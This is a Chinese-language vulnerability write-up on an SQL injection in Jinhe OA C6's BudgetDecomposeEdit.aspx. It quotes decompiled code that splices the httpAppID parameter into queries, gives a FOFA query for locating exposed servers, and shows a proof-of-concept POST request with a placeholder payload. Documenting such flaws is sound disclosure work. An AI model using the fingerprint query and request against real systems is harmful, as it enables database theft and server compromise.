金和OA BudgetDecomposeEdit.aspx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 BudgetDecomposeEdit.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 BudgetDecomposeEdit.aspx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 BudgetDecomposeEdit 的处理逻辑

protected void Page_Load(object sender, EventArgs e)
{
  this.strAppId = this.Request["httpAppID"].ToString();
  this.strBudgetDecomposeId = this.Request["httpOID"].ToString();
  this.strAppNow = this.GetAppNow("Budget_Decompose", this.strAppId);
  if (!this.IsPostBack)
    this.BindBudgetDecomposeInfo();
  this.InitPrive();
}

跟进GetAppNow方法

private string GetAppNow(string appt_id, string app_id)
{
  DataTable dataTable = this.db.ExecSQLReDataTable($"select appd_id,Instance_ID from jhoa_approve where app_id='{app_id}'");
  string str1 = dataTable.Rows[0]["appd_id"].ToString();
  string str2 = dataTable.Rows[0]["Instance_ID"].ToString();
  ((MarshalByValueComponent) dataTable).Dispose();
  string str3 = this.db.ExecSQLReobject($"select version FROM JHOA_Approve_Instance WHERE (Instance_ID = '{str2}')").ToString();
  return this.db.ExecSQLReobject($"select appds_level from dbo.jhoa_approve_temp_dispose_sort where appt_id='{appt_id}' and version='{str3}' and appd_id='{str1}'").ToString();
}

参数httpAppID被直接拼接进SQL语句执行,从而造成SQL注入漏洞。

漏洞复现

POST /c6/JHSoft.Web.CostControl/Decompose/BudgetDecomposeEdit.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

httpAppID=SQLI_POC&httpOID=1

成功延时 4 秒


手机扫码阅读

金和OA JHSoft.Web.CostControl.Importing ImportData 多个XXE漏洞

安科瑞智能环保云平台 /MainMonitor/GetEnterpriseInfoMapByDate/GetDates SQL 注入漏洞

评 论